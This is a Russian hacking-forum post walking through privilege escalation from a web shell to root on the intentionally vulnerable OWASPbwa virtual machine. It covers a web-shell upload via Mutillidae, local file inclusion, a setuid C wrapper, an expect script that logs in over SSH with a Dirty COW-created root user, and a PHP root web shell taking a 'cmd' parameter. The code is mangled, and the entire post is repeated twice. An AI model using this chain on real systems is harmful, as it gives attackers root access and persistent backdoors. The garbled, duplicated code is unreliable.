larchik
30.06.2019, 14:01
Представьте, что у нас есть веб-шелл на сайте, но другого доступа к серверу, кроме как через веб, мы не имеем. При этом мы хотим повысить свои привилегии до root. Ниже я расскажу, как это можно сделать.
Для экспериментов я выбрал уязвимую виртуальную машину OWASPbwa. На ней установлена Ubuntu с ядром 2.6.32-25-generic-pae, имеющим уязвимость Dirty COW. Проэксплуатировав данную уязвимость, мы сможем повысить свои привилегии в системе до root. На гитхабе и exploit-db я нашел несколько подходящих эксплоитов, но успешно скомпилировался и сработал только один.
И так, устанавливаем OWASPbwa, запускаем, дожидаемся загрузки и смотрим ip-адрес, к которому мы подключимся через браузер. Логиниться в ОС не нужно.
https://forum.antichat.xyz/attachments/4847744/img_4909c748a5.png
Для чистоты эксперимента зальем веб-шел через какое-нибудь уязвимое приложение, коих тут предостаточно. Переходим в раздел Mutillidae II
https://forum.antichat.xyz/attachments/4847744/img_254a0ee3b1.png
И в меню находим нужную нам уязвимость, с помощью которой зальем шелл на сервер
https://forum.antichat.xyz/attachments/4847744/img_17b5513489.png
Веб-шелл загружен в директорию /tmp:
https://forum.antichat.xyz/attachments/4847744/img_a1af341ff7.png
Надо как-то подключиться к нему. В этом нам поможет уязвимость local file include. Проверяем файл /etc/passwd
https://forum.antichat.xyz/attachments/4847744/img_ce77d317db.png
Уязвимость есть. Таким же образом подключаем загруженый ранее шелл. Немного мешает обзору меню от Mutillidae II, но не критично:
https://forum.antichat.xyz/attachments/4847744/img_6c70b4bc7c.png
Этот веб-шелл мы используем для того, что бы загрузить на сервер файл с кодом эксплоита, скомпилировать его и запустить на выполнение. Эксплоит создаст в системе нового пользователя codeby с паролем codeby с правами root.
Скачиваем эксплоит отсюда - Linux Kernel 2.6.22
#include
main
(
int
argc
,
char
*
argv
[
]
)
{
if
(
argc
==
3
)
{
if
(
strcmp
(
argv
[
1
]
,
"codeby"
)
==
0
)
{
setgid
(
0
)
;
setuid
(
0
)
;
system
(
argv
[
2
]
)
;
}
}
return
0
;
}
[/CODE]
Загружаем файл на веб-сервер в /tmp и компилируем
gcc suid.c -o suid
В /tmp появился новый файл suid с правами-rwxr-x--x. Устанавливаем ему suid-бит:
chmod 4751 suid
Теперь его права доступа должны быть-rwsr-x--x:
https://forum.antichat.xyz/attachments/4847744/img_4e2217c1a0.png
символ x сменился на символ s, бит suid установлен.
Попробуем выполнить через наш suid-ник команду id. Часть экрана скрыта за меню, поэтому для ценителей особых извращений сделаю вот так - сохраню вывод команды в файл id:
https://forum.antichat.xyz/attachments/4847744/img_84e663a823.png
и выведу содержимое файла в браузер:
https://forum.antichat.xyz/attachments/4847744/img_8cb377bcb5.png
Команда выполнилась от пользователя www-data, как и ожидалось. Чтобы команда выполнилась от рута, нужно сделать владельцем suid-файла рута. И делать это надо конечно-же из под рута. Но как? Пользователю www-data нельзя выполнять команды от sudo или su.
Выход такой — мы из веб-шелла выполним ssh-подключение к 127.0.0.1 с известным именем и паролем рут-пользователя (codeby:codeby) и выполним через ssh команду, которой сделаем пользователя codeby владельцем suid-файла:
ssh античат @127.0.0.1 chown античат /tmp/suid
Тут оказалось тоже не все так просто. Веб-шелл после подключения ssh не выводит в браузер запрос пароля, поэтому будем использовать скрипт, которыйавтоматизирует подключение по ssh с паролем и выполнит нужную команду. Создаем файл script.sh со следующим содержимым:
Bash:
#!/usr/bin/expect -f
set
timeout
5
spawn
ssh
codeby@127.0.0.1
chown
codeby /tmp/suid
#expect "(yes/no?)"
#send -- "yes\r"
expect
"?*assword:*"
send --
"codeby\r"
send --
"\r"
expect
eof
Загружаем скрипт на веб-сервер в /tmp, делаем его исполняемым и выполняем его в консоли веб-шелла:
chmod u+x script.sh
./script.sh
Если все прошло нормально, видим, что владелец suid-файла сменился:
https://forum.antichat.xyz/attachments/4847744/img_9cdf50b2ef.png
Правда и suid-бит после смены владельца сбросился. Установим его еще раз от рута. Для этого в script.sh надо соответственно подправить отправляемую команду и выпонить скрипт. Теперь все нормально:
https://forum.antichat.xyz/attachments/4847744/img_f6a6a7caa1.png
Пробуем выполнить через suid-файл команду id:
https://forum.antichat.xyz/attachments/4847744/img_53122b8c96.png
https://forum.antichat.xyz/attachments/4847744/img_fa0cd6e2de.png
Как видим, теперь команда выполнилась от рута. Что ж, осталось автоматизировать использование шеллом нашего suid-файла, чтоб каждый раз не вводить./suid password foo bar, а сразу выполнять нужную команду.
Возьмем такой простой php-вебшелл:
PHP:
root_shell
";
$cmd = ($_REQUEST['cmd']);
system('$cmd');
echo "";
die;
}
?>
</html
И в строке, где выполняется функция system() сделаем маленькую модификацию:
system("/tmp/suid античат '$cmd' ");
Назовем наш файл с шеллом root_shell.php и загрузим на веб-сервер в /tmp.
Что бы никакие боковые меню больше не мешали обзору, сразу переместим шелл в /var/www:
./suid античат 'mv /tmp/root_shell.php /var/www/root_shell.php'
и переходим в шел по адресу 192.168.56.103/root_shell.php
Что бы выпонить команду, в адресной строке используйте параметр cmd:
https://forum.antichat.xyz/attachments/4847744/img_3f4ea46471.png
Команда id выпонилась от root (codeby)
https://forum.antichat.xyz/attachments/4847744/img_f8310cd61d.png
На этом все. Спасибо, если дочитали и затестили способ )
Для экспериментов я выбрал уязвимую виртуальную машину OWASPbwa. На ней установлена Ubuntu с ядром 2.6.32-25-generic-pae, имеющим уязвимость Dirty COW. Проэксплуатировав данную уязвимость, мы сможем повысить свои привилегии в системе до root. На гитхабе и exploit-db я нашел несколько подходящих эксплоитов, но успешно скомпилировался и сработал только один.
И так, устанавливаем OWASPbwa, запускаем, дожидаемся загрузки и смотрим ip-адрес, к которому мы подключимся через браузер. Логиниться в ОС не нужно.
https://forum.antichat.xyz/attachments/4847744/img_4909c748a5.png
Для чистоты эксперимента зальем веб-шел через какое-нибудь уязвимое приложение, коих тут предостаточно. Переходим в раздел Mutillidae II
https://forum.antichat.xyz/attachments/4847744/img_254a0ee3b1.png
И в меню находим нужную нам уязвимость, с помощью которой зальем шелл на сервер
https://forum.antichat.xyz/attachments/4847744/img_17b5513489.png
Веб-шелл загружен в директорию /tmp:
https://forum.antichat.xyz/attachments/4847744/img_a1af341ff7.png
Надо как-то подключиться к нему. В этом нам поможет уязвимость local file include. Проверяем файл /etc/passwd
https://forum.antichat.xyz/attachments/4847744/img_ce77d317db.png
Уязвимость есть. Таким же образом подключаем загруженый ранее шелл. Немного мешает обзору меню от Mutillidae II, но не критично:
https://forum.antichat.xyz/attachments/4847744/img_6c70b4bc7c.png
Этот веб-шелл мы используем для того, что бы загрузить на сервер файл с кодом эксплоита, скомпилировать его и запустить на выполнение. Эксплоит создаст в системе нового пользователя codeby с паролем codeby с правами root.
Скачиваем эксплоит отсюда - Linux Kernel 2.6.22
#include
main
(
int
argc
,
char
*
argv
[
]
)
{
if
(
argc
==
3
)
{
if
(
strcmp
(
argv
[
1
]
,
"codeby"
)
==
0
)
{
setgid
(
0
)
;
setuid
(
0
)
;
system
(
argv
[
2
]
)
;
}
}
return
0
;
}
[/CODE]
Загружаем файл на веб-сервер в /tmp и компилируем
gcc suid.c -o suid
В /tmp появился новый файл suid с правами-rwxr-x--x. Устанавливаем ему suid-бит:
chmod 4751 suid
Теперь его права доступа должны быть-rwsr-x--x:
https://forum.antichat.xyz/attachments/4847744/img_4e2217c1a0.png
символ x сменился на символ s, бит suid установлен.
Попробуем выполнить через наш suid-ник команду id. Часть экрана скрыта за меню, поэтому для ценителей особых извращений сделаю вот так - сохраню вывод команды в файл id:
https://forum.antichat.xyz/attachments/4847744/img_84e663a823.png
и выведу содержимое файла в браузер:
https://forum.antichat.xyz/attachments/4847744/img_8cb377bcb5.png
Команда выполнилась от пользователя www-data, как и ожидалось. Чтобы команда выполнилась от рута, нужно сделать владельцем suid-файла рута. И делать это надо конечно-же из под рута. Но как? Пользователю www-data нельзя выполнять команды от sudo или su.
Выход такой — мы из веб-шелла выполним ssh-подключение к 127.0.0.1 с известным именем и паролем рут-пользователя (codeby:codeby) и выполним через ssh команду, которой сделаем пользователя codeby владельцем suid-файла:
ssh античат @127.0.0.1 chown античат /tmp/suid
Тут оказалось тоже не все так просто. Веб-шелл после подключения ssh не выводит в браузер запрос пароля, поэтому будем использовать скрипт, которыйавтоматизирует подключение по ssh с паролем и выполнит нужную команду. Создаем файл script.sh со следующим содержимым:
Bash:
#!/usr/bin/expect -f
set
timeout
5
spawn
ssh
codeby@127.0.0.1
chown
codeby /tmp/suid
#expect "(yes/no?)"
#send -- "yes\r"
expect
"?*assword:*"
send --
"codeby\r"
send --
"\r"
expect
eof
Загружаем скрипт на веб-сервер в /tmp, делаем его исполняемым и выполняем его в консоли веб-шелла:
chmod u+x script.sh
./script.sh
Если все прошло нормально, видим, что владелец suid-файла сменился:
https://forum.antichat.xyz/attachments/4847744/img_9cdf50b2ef.png
Правда и suid-бит после смены владельца сбросился. Установим его еще раз от рута. Для этого в script.sh надо соответственно подправить отправляемую команду и выпонить скрипт. Теперь все нормально:
https://forum.antichat.xyz/attachments/4847744/img_f6a6a7caa1.png
Пробуем выполнить через suid-файл команду id:
https://forum.antichat.xyz/attachments/4847744/img_53122b8c96.png
https://forum.antichat.xyz/attachments/4847744/img_fa0cd6e2de.png
Как видим, теперь команда выполнилась от рута. Что ж, осталось автоматизировать использование шеллом нашего suid-файла, чтоб каждый раз не вводить./suid password foo bar, а сразу выполнять нужную команду.
Возьмем такой простой php-вебшелл:
PHP:
root_shell
";
$cmd = ($_REQUEST['cmd']);
system('$cmd');
echo "";
die;
}
?>
</html
И в строке, где выполняется функция system() сделаем маленькую модификацию:
system("/tmp/suid античат '$cmd' ");
Назовем наш файл с шеллом root_shell.php и загрузим на веб-сервер в /tmp.
Что бы никакие боковые меню больше не мешали обзору, сразу переместим шелл в /var/www:
./suid античат 'mv /tmp/root_shell.php /var/www/root_shell.php'
и переходим в шел по адресу 192.168.56.103/root_shell.php
Что бы выпонить команду, в адресной строке используйте параметр cmd:
https://forum.antichat.xyz/attachments/4847744/img_3f4ea46471.png
Команда id выпонилась от root (codeby)
https://forum.antichat.xyz/attachments/4847744/img_f8310cd61d.png
На этом все. Спасибо, если дочитали и затестили способ )